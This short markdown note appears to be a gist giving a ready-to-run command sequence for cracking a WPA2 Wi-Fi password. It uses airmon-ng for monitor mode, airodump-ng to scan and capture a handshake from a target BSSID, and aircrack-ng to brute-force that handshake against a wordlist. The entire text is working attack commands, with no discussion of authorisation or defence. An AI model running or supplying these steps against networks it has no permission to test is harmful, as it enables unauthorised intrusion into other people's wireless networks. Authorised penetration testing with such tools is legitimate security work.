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Crack WPA2 WLAN Password with aircrack-ng
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aircrack-ng-wpa2-wlan-password.md 
# Put WLAN device in monitoring mode
airmon-ng start wlan0

# Scan for access points
airodump-ng wlan0mon

# Capture WPA2 handshake, use $BSSID and $CHANNEL from previous scan
# Wait until airodump says 'WPA handshake: ...' in the upper right of the terminal, then press `Ctrl+c` to stop scanning
airodump-ng -c $CHANNEL --bssid $BSSID -w $CAPTURE_FILE wlan0mon

# Bruteforce the WPA2 handshake with aircrack-ng and a wordlist
aircrack-ng $CAPTURE_FILE-01.cap  -w $WORDLIST_FILE
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